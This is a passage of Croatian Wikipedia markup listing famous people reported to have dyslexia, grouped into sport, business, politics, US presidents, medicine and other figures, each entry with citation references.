Jenner Website |url=http://www.brucejenner.com/ |access-date=2013-07-12 |archivedate=2009-01-06 |archiveurl=https://web.archive.org/web/20090106130610/http://brucejenner.com/ |deadurl=yes }}</ref> * Tom Lewis, engleski [[golf]]er<ref>Fraser, Paul, [http://www.thenorthernecho.co.uk/sport/9142021.Lewis_shocks_The_Open/ Lewis shocks The Open], The Northern Echo, 15. srpnja 2011.</ref> * Kenny Logan, [[Škotska|škotski]] [[ragbi]]jaš<ref>Logan, Kenny, [http://www.timesonline.co.uk/tol/news/uk/scotland/article578354.ece How I tackled 30 years of secret shame] {{Webarchive|url=https://web.archive.org/web/20231216195820/http://www.timesonline.co.uk/tol/news/uk/scotland/article578354.ece |date=2023-12-16 }}, The Times, 13. listopada 2005.</ref> * Greg Louganis, američki [[Skokovi u vodu|skakač u vodu]]<ref>Flatter, Rion, [http://espn.go.com/sportscentury/features/00016086.html Louganis never lost drive to dive], ESPN}}</ref><ref>Fort Worth Star-Telegram, A gold medal for courage: Greg Louganis' book isn't polished, but it's candid, 2. travnja 1995., str. 7</ref> * Diamond Dallas Page, američki profesionalni [[Hrvanje|hrvač]], glumac i pisac<ref>[http://slam.canoe.ca/Slam/Wrestling/2009/02/18/8439736.html CANOE -- SLAM! Sports - Wrestling - DDP answers fan questions]</ref> * Scott Quinnell, velški ragbijaš<ref>Bbc.co.uk, [http://www.bbc.co.uk/pressoffice/pressreleases/stories/2007/02_february/16/quinnell.shtml Quinnell's dyslexia triumph]</ref> * Rex Ryan, glavni trener u klubu "New York Jets"<ref>ESPN, [http://sports.espn.go.com/nfl/news/story?id=4281660 Dyslexia frustrates Ryan to this day]</ref> * Mark Schlereth, igrač američkog nogometa<ref>Rand, Jonathan, Aching to play To Broncos' Schlereth, football is a pain in almost any body part, Kansas City Star, 23. siječnja 1998., str. D1</ref> * Neil Smith, igrač američkog nogometa<ref>Sambol, Rich, Neil Smith's good deeds continue to bring honors, Kansas City Star, 20. prosinca 1995., str. D8</ref> * [[Jackie Stewart]], britanski vozač automobilističkih utrka<ref>[http://www.theherald.co.uk/news/52309.html 'Sir Jackie, was not diagnosed with dyslexia until he was 42'] {{Webarchive|url=https://archive.today/20120530044405/http://www.theherald.co.uk/news/52309.html |date=2012-05-30 }}, The Herald newspaper (Glasgow)</ref> * Tim Tebow, igrač američkog nogometa<ref>Harris, Beth, [http://www.mercurynews.com/breaking-news/ci_19956210 Tebow tells kids nothing doing with Katy Perry], San Jose Mercury News, 13. veljače 2012.</ref> * Nolan Ryan, igrač bejzbola<ref name="The Dyslexic Reader 2003"/> * [[Magic Johnson]], američki profesionalni košarkaš<ref name="The Dyslexic Reader 2005">The Dyslexic Reader, Famous Dyslexics Remember, 2005, br. 38, str. 17</ref> * Duncan Goodhew, engleski plivač<ref>Davies, Gareth, [http://www.telegraph.co.uk/sport/olympics/swimming/2345052/My-School-Sport-Duncan-Goodhew.html My School Sport: Duncan Goodhew], The Telegraph, 5. rujna 2006.</ref> {{col-2}} * [[Muhammad Ali]], bokser<ref name="The dyslexia factor">Slipper, Dan, [http://www.bbc.co.uk/ouch/features/high_achieving_dyslexics.shtml The dyslexia factor], BBC</ref> * [[Steve Redgrave]], britanski veslač<ref>Bridgstock, G., [http://www.dailymail.co.uk/health/article-49795/Me-health-Steve-Redgrave.html Me and my health: Steve Redgrave], Mail Online</ref> * Sandy Lyle, škotski golfer<ref>In the Winning Zone, [http://www.inthewinningzone.com/wz/Magazine/February-2007/Book-of-the-month/40/ Sandy Lyle - How my Dad was an inspiration to me] {{Webarchive|url=https://web.archive.org/web/20210305190508/http://www.inthewinningzone.com/wz/Magazine/February-2007/Book-of-the-month/40/ |date=2021-03-05 }}, 2007.</ref> * Shawn Norman, američki osobni trener<ref>Dyslexia.tv, [http://www.dyslexia.tv/snapshots/shawnnorman_classof2009.htm Shawn Norman] {{Webarchive|url=https://web.archive.org/web/20120209180751/http://www.dyslexia.tv/snapshots/shawnnorman_classof2009.htm |date=2012-02-09 }}</ref> * Paul Merson, engleski nogometaš<ref>Neil Connor, [http://www.highbeam.com/doc/1G1-77652557.html A winner despite confidence knocks]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, High Beam, 17. prosinca 2010.</ref> * Vince McMahon, promoter i komentator profesionalnog hrvanja<ref>Midsouth Wrestling, [http://www.midsouthwrestling.com/Vince%20McMahon.html Vince McMahon]</ref> * Billy Blanks, instruktor fitnesa, kreator Tae-Boa<ref>Carney, C., [http://edition.cnn.com/2002/HEALTH/09/26/hln.bio.billy.blanks/ Blanks' life not letter perfect], CNN.com, 26. studenog 2002.</ref> * [[Babe Ruth]], igrač bejzbola<ref>KinLearn, [http://kinalearn.com/3346/babe-ruth-jr/ Babe Ruth, Jr.] {{Webarchive|url=https://web.archive.org/web/20121028065221/http://kinalearn.com/3346/babe-ruth-jr/ |date=2012-10-28 }}, 30. svibnja 2012.</ref> * Jim Shea, Jr., vozač [[skeleton]]a<ref>Coffey, W., [http://articles.nydailynews.com/2010-02-27/sports/27057562_1_funeral-card-jack-shea-speedskating-gold-medals Always about family with American skeleton gold medalist Jim Shea]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, NY Daily News, 27. veljače 2010.</ref> * Terry Bradshaw, bivši igrač američkog nogometa, komentator<ref>Bradshaw, T., Fisher, D., It's Only a Game, Pocket Books, 2011.</ref> * Neil Smith, igrač američkog nogometa<ref>Smith, N., Hamann, B., Hirt, J., Yes I Can!: Struggles from Childhood to the NFL, National Book Network, 1998.</ref> * Bob May, američki golfer<ref>Williams, M., [http://www.pgatour.com/webcom/news/2008/07/27/maytranscript072608.html Interview with Bob May], PGA Tour, 27. srpnja 2007.</ref> * [[Carl Lewis]], američki atletičar<ref>Fleming, M., [http://www.independent.co.uk/sport/golf/evidence-grows-that-sport-is-a-productive-path-for-dyslexics-2317621.html Evidence grows that sport is a productive path for dyslexics], The Independent, 21. srpnja 2011.</ref> * Rulon Gardner, američki hrvač<ref>Gardner, R., Shaller, B., Never Stop Pushing, Carroll & Graf Publishers Inc, 2005., {{ISBN|978-0-7867-1593-0}}</ref> * Dan O'Brien, [[desetoboj]]ac<ref>Braaten, Ellen B., Felopulos, G., Straight Talk about Psychological Testing for Kids, The Guilford Press, 2003., {{ISBN|978-1-57230-787-2}}</ref> * Joe Montana, bivši igrač američkog nogometa<ref>Montana, J., Mitchell, T., Henderson, B., The Winning Spirit: 16 Timeless Principles That Drive Performance Excellence, Ballantine Books, 2006., {{ISBN|978-0-8129-7498-0}}</ref> {{col-end}} == Poslovni svijet == {{col-begin}} {{col-3}} * [[Richard Branson]], poduzetnik<ref>Branson, Richard, [http://www.virgin.com/aboutus/autobiography/ Losing My Virginity: How I've Survived, Had Fun, and Made a Fortune Doing Business My Way] {{Webarchive|url=https://web.archive.org/web/20060830003417/http://www.virgin.com/aboutus/autobiography/ |date=2006-08-30 }}, poglavlje: A family that would have killed for each other. 1950 - 1963, Three Rivers Press, 1999., {{ISBN|0-8129-3229-3}}</ref> * Neil Bush, poslovni čovjek (sin [[George H. W. Bush|Georgea H. W. Busha]])<ref>The Victoria Advocate, [http://news.google.com/newspapers?id=YEhSAAAAIBAJ&sjid=fDYNAAAAIBAJ&dq=neil%20bush%20dyslexia&pg=5312%2C2759234 Neil Bush, Perplexed, Angry At Attention He's Received], 15. srpnja 1990.</ref> * John Chambers, generalni direktor [[Cisco Systems|Cisca]]<ref>[http://www.businessweek.com/smallbiz/content/oct2006/sb20061011_917113.htm How Cisco's CEO Works the Crowd]</ref> * Ingvar Kamprad, utemeljitelj [[IKEA]]-e<ref>Mirror.co.uk, [http://www.mirror.co.uk/news/topstories/tm_objectid=14124440%26method=full%26siteid=94762-name_page.html IKEA king is world's richest man] {{Webarchive|url=https://web.archive.org/web/20080103001119/http://www.mirror.co.uk/news/topstories/tm_objectid=14124440%26method=full%26siteid=94762-name_page.html |date=2008-01-03 }}</ref> * Cath Kidston, [[Moda|modna]] dizajnerica i poslovna žena<ref name="FeMail">Hale, Beth, [http://www.dailymail.co.uk/femail/article-1252954/Cath-Kidston-pocket-30m-sale-brand-20-years-shop-assistant-created-famous-nostalgic-designs.html Cath Kidston to pocket £30m from sale of brand], Mail Online, 23. veljače 2010.</ref> * Shlomo Moussaieff, draguljar i poznavatelj [[Biblija|Biblije]]<ref name="Print"/> * Theo Paphitis, poslovni čovjek, član žirija u ''[[reality show]]u'' ''Dragons Den''<ref>Attwood, Sophie, [http://women.timesonline.co.uk/tol/life_and_style/women/body_and_soul/article3051350.ece Just spell it like it is] {{Webarchive|url=https://archive.today/20120715202502/http://women.timesonline.co.uk/tol/life_and_style/women/body_and_soul/article3051350.ece |date=2012-07-15 }}, The Times, 15. rujna 2007.</ref> * Ferdinand Piech, [[Austrija|austrijski]] poslovni magnat<ref>{{Cite web |title=2011 Man of the Year: Ferdinand Piech |url=http://www.automobilemag.com/features/awards/1101_2011_man_of_the_year_ferdinand_piech/index.html |access-date=2013-07-12 |archive-date=2010-11-19 |archive-url=https://web.archive.org/web/20101119031437/http://www.automobilemag.com/features/awards/1101_2011_man_of_the_year_ferdinand_piech/index.html |dead-url=yes }}</ref> * Hal Prewitt, američki poduzetnik i vozač automobilističkih utrka<ref>Florida Trend, [https://archive.today/20120717112503/www.accessmylibrary.com/article-1G1-6378228/hal-prewitt-computer-whiz.html Hal Prewitt; a computer whiz kid challenges the big boys], 1. kolovoza 1987.</ref><ref name="Hal Prewitt">Driver's Website, [http://www.prewitt.net/biography/biography.php Hal Prewitt]</ref> * Charles Schwab, utemeljitelj brokerske firme<ref>Thompson, Mark C., [http://www.findarticles.com/p/articles/mi_m4070/is_197/ai_n6040957/pg_2 Creative learning: how dyslexic CEOs have turned a weakness into a leadership strength] {{Webarchive|url=https://web.archive.org/web/20150924053226/http://www.findarticles.com/p/articles/mi_m4070/is_197/ai_n6040957/pg_2 |date=2015-09-24 }}, The chief executive, 2004.</ref> * Ben Way, engleski poduzetnik<ref>d'Ancona, Matthew, [http://www.telegraph.co.uk/core/Content/displayPrintable.jhtml?xml=/health/2001/01/10/tldis10.xml&site=13 One day, we'll take over the world] {{Webarchive|url=https://web.archive.org/web/20070503070600/http://www.telegraph.co.uk/core/Content/displayPrintable.jhtml?xml=%2Fhealth%2F2001%2F01%2F10%2Ftldis10.xml&site=13 |date=2007-05-03 }}, Telegraph</ref> * Dave Chalk, kanadski poduzetnik i tehnološki novinar<ref>Chalk Media, [http://www.chalk.com/About/OurFounder.asp Dave Chalk profile] {{Webarchive|url=https://web.archive.org/web/20071111125046/http://www.chalk.com/About/OurFounder.asp |date=2007-11-11 }}</ref> * Paul Orfalea, utemeljitelj kompanije "FedEx Kinko's"<ref>Paul Orfalea & Ann Marsh, Copy This!: Lessons from a Hyperactive Dyslexic who Turned a Bright Idea Into One of America's Best Companies {{ISBN|0-7611-3777-7}}</ref> * Nelson Rockefeller, poslovni čovjek, filantrop i političar<ref name="The Dyslexic Reader 2003"/> * Louis Barnett, vlasnik tvornice čokolade<ref>The Dyslexic Reader, Famous Dyslexics Remember, 2010, br. 56, str. 218</ref><ref>Holder, Bev, [http://www.stourbridgenews.co.uk/news/1798738.louiss_chokolits_go_global/ Louis's Chokolits go global], Stourbridge News, 31, listopada 2007.</ref> * Craig McCaw, američki poslovni čovjek i poduzetnik<ref>The Dyslexic Reader, Focusing on Talents, 2004, br. 36, str. 5</ref> * Dave Morrison, vlasnik centara "The Right Stuff"<ref>KinaLearn, [http://kinalearn.com/2143/dave-morrison/ Dave Morrison] {{Webarchive|url=https://web.archive.org/web/20110305220604/http://kinalearn.com/2143/dave-morrison/ |date=2011-03-05 }}, 1. ožujka 2013.</ref> * Anthony Parle, direktor kompanije "Parle Foods"<ref>Australian Farm Journal, 1996., god. 6, Rural Press Limited</ref> {{col-3}} * Anita Roddick, britanska poduzetnica, aktivist, ekolog<ref>Alcraft, Rob, Anita Roddick Pb, Heinemann Library, 1999, {{ISBN|978-0-431-08621-7}}</ref> * [[Henry Ford]], osnivač kompanije ''[[Ford|Ford Motor]]''<ref>Love, Dylan, [http://www.businessinsider.com/ceo-learning-disabilities-2011-5?op=1 15 CEOs With Learning Disabilities], Business Insider, 19. svibnja 2005.</ref> * William Hewlett, utemeljitelj kompanije [[Hewlett-Packard]]<ref>[http://www.hewlett.org/about-the-william-and-flora-hewlett-foundation/william-and-flora-hewlett-and-the-hewlett-foundation/william-redington-hewlett William Redington Hewlett], Hewlett Foundation</ref> * Peter Leitch, novozelandski poslovni čovjek, vlasnik lanca mesnica<ref>[http://www.nzherald.co.nz/nz/news/article.cfm?c_id=1&objectid=10695314 Success with dyslexia], The New Zealand Herald, 19. prosinca 2010.</ref> * O.D. McKee, vlasnik kompanije ''McKee Foods''<ref>[http://www.chattanoogan.com/2008/3/5/123372/Ellsworth-McKee-From-Lean-Times-To.aspx Ellsworth McKee: From Lean Times To A $1 Billion Operation], The Chattanoogan, 5. ožujka 2005.</ref> * David Neeleman, brazilsko-američki poduzetnik, vlasnik triju aviokompanija: ''Morris Air'', ''JetBlue Airways'', ''Azul Brazilian Airlines''<ref>Sellers, Patricia, [http://postcards.blogs.fortune.cnn.com/2008/06/12/jetblue-founder-add/ JetBlue founder speaks out about his ADD] {{Webarchive|url=https://web.archive.org/web/20130308150541/http://postcards.blogs.fortune.cnn.com/2008/06/12/jetblue-founder-add/ |date=2013-03-08 }}, CNN, 12. lipnja 2008.</ref> * Robert W. Woodruff, predsjednik kompanije ''[[The Coca-Cola Company|Coca-Cola]]'' ([[1923.]]-[[1954.]])<ref>Rothacher, Albrecht, Corporate Cultures and Global Brands, World Scientific Publishing Company, 2004</ref> * Michael Heseltine, britanski poslovni čovjek i političar<ref>Heseltine, Annabel, [http://www.telegraph.co.uk/education/7882313/Annabel-Heseltine-My-family-is-riddled-with-dyslexia.html Annabel Heseltine: My family is riddled with dyslexia], The Telegraph, 9. srpnja 2010.</ref> * David Fogel, direktor prodaje kompanije "Hamleys"<ref>Appleyard, D., [http://www.dailymail.co.uk/femail/article-1201899/Me-school-photo-Ben-Fogle-remembers-homesick-boarding-school-days-struggled-dyslexia.html Me and my school photo: Ben Fogle remembers his homesick boarding school days and how he struggled with dyslexia], Mail Online, 24. srpnja 2009.</ref> * Hamish Grant, izvršni direktor kompanije '''Axeon'''<ref>Ward, S., Making the most of the learning process, The Sunday Herald, 29. kolovoza 1999.</ref> * Guy Hands, engleski investitor<ref>Wray, R., [http://www.guardian.co.uk/business/2008/jan/18/privateequity.musicnews 'Dyslexia has driven him ... he is forced to look at the key points of the business and the way the numbers work'], The Guardian, 18. siječnja 2008.</ref> * Philip Harris, poduzetnik<ref>Wallace, W., [http://www.tes.co.uk/article.aspx?storycode=308233 The boys done well;Benefactors] {{Webarchive|url=https://web.archive.org/web/20130419041523/http://www.tes.co.uk/article.aspx?storycode=308233 |date=2013-04-19 }}, TES, 11. svibnja 2005.</ref> * [[Steve Jobs]], osnivač tvrtke [[Apple Computer]]<ref>University of Michigan, [http://dyslexiahelp.umich.edu/success-stories/steve-jobs Success Story: Steve Jobs] {{Webarchive|url=https://web.archive.org/web/20130710054955/http://dyslexiahelp.umich.edu/success-stories/steve-jobs |date=2013-07-10 }}</ref> * Jo Malone, kreatorica parfema<ref>Daily Mail, [http://www.dailymail.co.uk/femail/article-1282143/Jo-Malone--I-terrified-presenting-BBC-Im-dyslexic.html Jo Malone: I was terrified of presenting BBC show because I'm dyslexic], 28. svibnja 2010.</ref> * John Madjeski, engleski poslovni čovjek<ref>[http://www.johnmadejskiacademy.co.uk/ John Madejski Academy]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> * Zara Reid, vlasnica kompanije za odnose s javnošću<ref>Izireen, A., [http://www.guardian.co.uk/theguardian/2001/aug/04/features.jobsmoney1 How Zara got to have the last word], The Guardian, 4. kolovoza 2001.</ref> {{col-3}} * Peter Stringfellow, engleski poslovni čovjek<ref>Stringfelow, P., [http://www.huffingtonpost.co.uk/peter-stringfellow/peter-stringfellow-university-isnt-the-be-all_b_1819487.html Why University Isn't the Be-All and End-All], The Huffington Post, 22. kolovoza 2012.</ref> * G. Chris Anderson, direktor kompanije "Drexel Burnham Wall Street Investment"<ref>Andrews, R., [http://www.apnewsarchive.com/1985/Cher-Among-Award-Winners-for-Overcoming-Dyslexia/id-3c2984a233b14d270d5fc9c49198dac5 Cher Among Award Winners for Overcoming Dyslexia], AP News Archive, 30. listopada 1985.</ref> * Stephen Bacque, izumitelj i poduzetnik, predsjednik kompanije "A.S. Bacque Enterprises"<ref>South Jersey Business Networking Group, [http://www.sjbng.com/events/100929-StephenBacque.htm Dr. Stephen Bacque] {{Webarchive|url=https://web.archive.org/web/20121129061546/http://www.sjbng.com/events/100929-StephenBacque.htm |date=2012-11-29 }}</ref> * Fred Curry, predsjednik kompanije "Greyhound Bus"<ref name="Your Life 1997"/> * Kerry Francis Bullmore Packer, australski medijski tajkun<ref>theage.com.au, [http://www.theage.com.au/articles/2005/12/27/1135445572500.html?page=fullpage Obituary], 28. prosinca 2005.</ref> * Reyn Guyer, američki izumitelj<ref>Reyn Guyer Creative Group, [http://reynguyercreativegroup.com/?page_id=21 Winsor Learning] {{Webarchive|url=https://web.archive.org/web/20120808014246/http://reynguyercreativegroup.com/?page_id=21 |date=2012-08-08 }}</ref> * David Murdock, američki poslovni čovjek<ref>Rea, A., [http://money.cnn.com/magazines/fortune/fortune_archive/1986/04/28/67520/index.htm For some businessmen, dyslexia is no hindrance] {{Webarchive|url=https://web.archive.org/web/20101031034851/http://money.cnn.com/magazines/fortune/fortune_archive/1986/04/28/67520/index.htm |date=2010-10-31 }}, 28. travnja 1986.</ref> * Arthur Ochs Sulzberger, američki izdavač<ref>Ad Age, [http://adage.com/article/media/arthur-sulzberger-york-times-publisher-dies/237517/ Arthur Sulzberger, Former New York Times Publisher, Dies at 86], 29. rujna 2012.</ref> * Raymond W. Smith, bivši predsjednik kompanije "Verizon Communications"<ref>Carpenter, J., [http://www.koolnonsense.com/raymond-w-smith-ceo-of-bell-atlantic/ Raymond W. Smith: CEO of Bell Atlantic]{{Dead link|date=December 2022 |bot=InternetArchiveBot |fix-attempted=yes }}, Kool Nonsense, 26. ožujka 2012.</ref> * Richard C. Strauss, američki poduzetnik<ref>Andrews, R., [http://www.apnewsarchive.com/1985/Cher-Among-Award-Winners-for-Overcoming-Dyslexia/id-3c2984a233b14d270d5fc9c49198dac5 Cher Among Award Winners for Overcoming Dyslexia], AP News, 30. listopada 1985.</ref> * Thomas J. Watson Jr., bivši predsjednik IBM-a<ref>Maney, K., The Maverick and His Machine: Thomas Watson, Sr. and the Making of IBM, John Wiley & Sons, 2003.</ref> * William Wrigley, Jr., utemeljitelj kompanije "Wrigley Chewing Gum"<ref>Alef, D., William Wrigley, Jr.: The Great American Legend, Titans of Fortune Publishing, 2009.</ref> * Ted Turner, osnivač američke televizijske mreže [[CNN]]<ref>Love, D., [http://www.businessinsider.com/ceo-learning-disabilities-2011-5?op=1 15 CEOs With Learning Disabilities], Business Insider, 19. svibnja 2011.</ref> * Frank W. Woolworth, američki poduzetnik<ref>Besnoy, Kevin D., Successful Strategies for Twice-Exceptional Students, Prufrock Press Inc., 2006., {{ISBN|978-1-59363-194-9}}</ref> * [[Bill Gates]], američki poslovni magnat, filantrop<ref>Rogak, L., Impatient Optimist: Bill Gates in His Own Words (In Their Own Words), Agate B2, 2012., {{ISBN|978-1-932841-71-8}}</ref> {{col-end}} == Politika == * Michael Bennet, [[senat]]or iz [[Kolorado|Kolorada]]<ref>Mitchell, Nancy, [http://www.rockymountainnews.com/news/2009/jan/09/one-finalist-enough-for-dps-board One finalist enough for DPS board] {{Webarchive|url=https://web.archive.org/web/20090303004038/http://www.rockymountainnews.com/news/2009/jan/09/one-finalist-enough-for-dps-board/ |date=2009-03-03 }}, Rocky Mountain News, 9. siječnja 2009.</ref> * Steve Fielding, [[Australija|australski]] političar<ref name="Riley2009-09-27">Riley, Robyn, Time to get 'fiskal' - Funding calls on dyslexia, Herald Sun|Sunday Herald Sun, 27. rujna 2009., str. 102; "Fieldingova disleksija je bila isključivo dijagnosticirana nakon što je izjavio da ima poteškoće u učenju 2009., te mu je dijagnosticirana i apraksija i disleksija."</ref> * Mike Gravel, bivši senator s [[Aljaska|Aljaske]]<ref>Leahy, Michael, [http://www.washingtonpost.com/wp-dyn/content/article/2007/09/04/AR2007090401794_5.html?sid=ST2007101600688 Last], WashingtonPost.com, 9. rujna 2007.</ref> * John Hickenlooper, američki političar<ref>Shanley, Will, [School set to "fill lives with joy"], Denver Post, 23. rujna 2004. str. B–02</ref> * Paul Kanjorski, član predstavničkog doma iz [[Pennsylvania|Pennsylvanije]]<ref>Pocono Record, [http://kanjorski.house.gov/index.php?option=com_content&task=view&id=1416&Itemid=1 Pocono Power Broker U.S. Rep. Paul Kanjorski] {{Webarchive|url=https://web.archive.org/web/20100321023306/http://kanjorski.house.gov/index.php?option=com_content&task=view&id=1416&Itemid=1 |date=2010-03-21 }}, 12. siječnja 2009.</ref> * Dan Malloy, guverner [[Connecticut]]a<ref>Haigh, Susan, [http://www.ctpost.com/default/article/AP-Interview-Malloy-overcame-dyslexia-physical-112920.php AP Interview: Malloy overcame dyslexia, physical struggles], 30. svibnja 2006., The Connecticut Post</ref><ref>Hernandez, Raymond, [http://www.nytimes.com/2010/08/12/nyregion/12malloy.html Odds Defied? Malloy Knows the Territory], The New York Times, 11. kolovoza 2010.</ref> * Kendrick Meek, predstavnik iz [[Florida|Floride]]<ref>Schram, Martin, [http://www.tampabay.com/opinion/columns/two-stories-of-overcoming-dyslexia/1119408 Two stories of overcoming dyslexia] {{Webarchive|url=https://web.archive.org/web/20150612064144/http://www.tampabay.com/opinion/columns/two-stories-of-overcoming-dyslexia/1119408 |date=2015-06-12 }}, The St. Petersburg Times, 6. rujna 2010.</ref> * Dorrit Moussaieff, prva dama Islanda<ref name="Print">Haaretz, [https://web.archive.org/web/20071210000538/http://www.haaretz.com/hasen/objects/pages/PrintArticleEn.jhtml?itemNo=378212 Print Dorrit Moussaieff]</ref> * Lorna Fitzsimmons, britanska političarka<ref>Magee, k., [http://www.prweek.com/uk/features/667340/PROFILE-Lorna-Fitzsimons-CEO-Britain-Israel-Communications-Research-Centre/ PROFILE: Lorna Fitzsimons, CEO, Britain Israel Communications and Research Centre]{{Dead link|date=November 2022 |bot=InternetArchiveBot |fix-attempted=yes }}, PR Week, 27. lipnja 2007.</ref> * Alistair McAlpine, škotski političar, savjetnik [[Margaret Thatcher]]<ref>The Independent, [http://www.independent.co.uk/voices/profile-lord-midas-his-zenith-and-nadir-lord-mcalpine-party-treasurer-for-mrs-thatcher-1492580.html Profile: Lord Midas, his zenith and nadir: Lord McAlpine, party treasurer for Mrs Thatcher], 19. lipnja 1993.</ref> * Nicholas F. Brady, američki ministar financija<ref>Pine, A., Redburn, T., [http://articles.latimes.com/1989-04-16/business/fi-2186_1_nicholas-f-brady-treasury-secretary-ronald-reagan-s-treasury/2 Nick Brady Slowly Wins Skeptics Over], Los Angeles Times, 16. travnja 1989.</ref> * [[Anna Eleanor Roosevelt]], supruga [[Franklin D. Roosevelt|Franklina D. Roosevelta]], socijalna aktivistica, pisac, predavač i predstavnik [[SAD]]-a u [[UN|Ujedinjenim Narodima]] <ref>Dyslexic Reader, br. 2, 2008.</ref> === Američki predsjednici === * [[George Washington]], prvi američki predsjednik<ref name="The Dyslexic Reader 2007"/> * [[Thomas Jefferson]], treći američki predsjednik<ref>Shuffelton, Frank, The Cambridge Companion to Thomas Jefferson, Cambridge University Press, 2009</ref> * [[Andrew Jackson]], sedmi američki predsjednik<ref name="The Dyslexic Reader 2005"/> * [[Woodrow Wilson]], 28. američki predsjednik, povjesničar, publicist i političar<ref>The Dyslexic Reader, Famous Dyslexics Remember, 2007, br. 45, str. 17</ref> * [[John F. Kennedy]], 35. američki predsjednik<ref>Klein, Edward, The Kennedy Curse, St. Martin's Press, 2003</ref> * [[Lyndon Johnson]], 36. američki predsjednik<ref>Dyslexic Reader, br. 3, 2010.</ref> * [[George H. W. Bush]], 41. američki predsjednik<ref>ABC News, [http://abcnews.go.com/Politics/story?id=122937&page=1#.UJ6Qs4bhe4Y Bush Denies Reports of Dyslexia], 12. rujna 2012.</ref> == Medicina == * Ronald D. Davis, utemeljitelj centra "Davis Dyslexia Correction Centre", autor knjige "Dar disleksije"<ref>The Dyslexic Reader, New Zealand Welcomes Ron Davis, 2004, br. 37, str. 1</ref><ref>Ronald D. Davis, Gift of Dyslexia, 2010</ref><ref>[http://www.davisdyslexia.com/ Davis Dyslexia Correction Centre]</ref> * Edward Hallowell, američki psihijatar<ref name="The Dyslexic Reader 2009"/><ref>Dr. Hallowell, [http://www.drhallowell.com/add-adhd/ What is ADHD?]</ref> * [[William James]], američki filozof i psiholog<ref>The Dyslexic Reader, Famous Dyslexics, 2004, br. 35, str. 6</ref> * Willem Johan Kolff, liječnik<ref>Telegraph.co.uk, [http://www.telegraph.co.uk/news/obituaries/4604625/Willem-Kolff.html Willem Kolff ], 12. veljače 2009.</ref> * Helen B. Taussig, [[Kardiologija|kardiolog]]<ref>National library of medicine, [http://www.nlm.nih.gov/changingthefaceofmedicine/physicians/biography_316.html Dr. Helen Brooke Taussig]</ref> * [[Harvey Cushing]], američki neurokirurg<ref>Neurological Foundation New Zealand, [http://www.neurological.org.nz/news-events/general-articles/harvey-williams-cushing Harvey Williams Cushing] {{Webarchive|url=https://web.archive.org/web/20130210104557/http://neurological.org.nz/news-events/general-articles/harvey-williams-cushing |date=2013-02-10 }}, 2. siječnja 2012.</ref> * Fred Epstein, američki neurokirurg<ref>Dyslexia Help, [http://dyslexiahelp.umich.edu/success-stories/fred-epstein Success Story: Fred Epstein]</ref> * Peter Lovatt, psiholog i plesač<ref>Dakin, M., [http://www.stalbansreview.co.uk/news/9053539.How_a_boy_with_dyslexia_became_an_academic/ How a boy with dyslexia became an academic], ST. Albans Review, 27. svibnja 2011.</ref> * John W. House, predsjednik instituta '''House Ear'''<ref>The Huffington Post, [http://www.huffingtonpost.com/john-w-house-md John W. House], preuzeto 10. ožujka 2013.</ref> * Margie C. Sweeney, liječnica, spisateljica<ref>Taming the Triad, [http://tamingthetriad.com/ Tamingthetriad.com] {{Webarchive|url=https://web.archive.org/web/20130524040952/http://tamingthetriad.com/ |date=2013-05-24 }}</ref> == Ostale poznate osobe == * [[Temple Grandin]], američka veterinarka, profesorica, spisateljica<ref>Grandin, T., Thinking in Pictures, Bloomsbury Publishing, 2006</ref> * [[Erin Brockovich]], perovođa<ref>Slaughter, Adele, [http://www.usatoday.com/news/health/spotlight/2001-05-22-brockovich-dyslexia.htm Erin Brockovich scripts victory over dyslexia], USA Today, 22. svibnja 2001.</ref> * Jeffrey H. Gallet, američki sudac<ref>Saxon, W., [http://www.nytimes.com/2001/04/27/obituaries/27GALL.html J.H. Gallet, 58, Federal Judge Who Transcended Disabilities, Is Dead], NY Times, 27. travnja 2001</ref> * Trevor Ferrell, američki aktivist za prava beskućnika<ref name="ferrell">Landau, Elaine, Dyslexia, 1991, str. 43, Franklin Watts, {{ISBN|0-531-20030-2}}</ref> * [[George Smith Patton]], američki general<ref name="The Dyslexic Reader 2005"/> * [[Thomas Jonathan Jackson|Thomas Jonathan "Stonewall" Jackson]], američki general<ref>The U.S. Army, [http://www.army.mil/professionalWriting/volumes/volume2/april_2004/4_04_1.html Stonewall Jackson and George S. Patton: A Survey of Leadership] {{Webarchive|url=https://web.archive.org/web/20110805162230/http://www.army.mil/professionalWriting/volumes/volume2/april_2004/4_04_1.html |date=2011-08-05 }}</ref> * [[Andrew Cunningham]], britanski admiral<ref>Simpson, M., A Life of Admiral of the Fleet Andrew Cunningham: A Twentieth-Century Naval Leader, Routledge, 2004.</ref> * [[Harry, princ Walesa|Princ Harry]]<ref>Larcombe, D., [http://www.thesun.co.uk/sol/homepage/news/25130/Harry-hits-back-at-his-critics.html Harry hits back at his critics], The Sun, 4. listopada 2010.</ref> * [[Princeza Beatrice od Yorka]], član britanske [[Kraljevska obitelj|kraljevske obitelji]] i peta u redu sukcesije na prijestolju<ref>Bannerman, Lucy, Duchess tells of Beatrice's long struggle with dyslexia: Princess 'now catching up with her peers', The Herald, 23. ožujka 2005., str. 5</ref> * [[Carl XVI. Gustaf]], kralj [[Švedska|Švedske]]<ref>[http://www.findarticles.com/p/articles/mi_qa3760/is_199610/ai_n8750692 "A time to rejoice: Sweden's King Carl XVI] {{Webarchive|url=https://web.archive.org/web/20151019172824/http://www.findarticles.com/p/articles/mi_qa3760/is_199610/ai_n8750692 |date=2015-10-19 }}, jesen 1996.</ref> * [[Olaf V]], kralj [[Norveška|Norveške]] od 1957. do 1991.<ref>Engebretsen, Einar, [http://www.thefreelibrary.com/Word-blind:+Einar+Engebretsen+drove+his+teachers+to+despair.+30+years+...-a0108113751 Word-blind: Einar Engebretsen drove his teachers to despair], Ordblind, 1997.</ref> * [[Victoria, švedska krunska princeza|Princeza Victoria]], švedska [[Krunski princ|krunska princeza]]<ref>BBC News, [http://news.bbc.co.uk/2/hi/europe/2190830.stm Swedish princess reveals bullying secret], 13. kolovoza 2002.</ref> * Pete Conrad, [[astronaut]] "Apolla 12", treći čovjek koji je hodao po [[Mjesec]]u<ref>Conrad Foundation, [http://www.conradawards.org Spirit of Innovation Awards - Conrad Foundation] {{Webarchive|url=https://web.archive.org/web/20180809102403/http://conradawards.org/ |date=2018-08-09 }}</ref> * Matthew H. Schneps, [[Astrofizika|astrofizičar]]<ref>Schneps, Matthew, Rose, Todd, Fischer, Kurt, Visual Learning and the Brain: Implications for Dyslexia, Mind, Brain, and Education, vol. 1. br. 3, str. 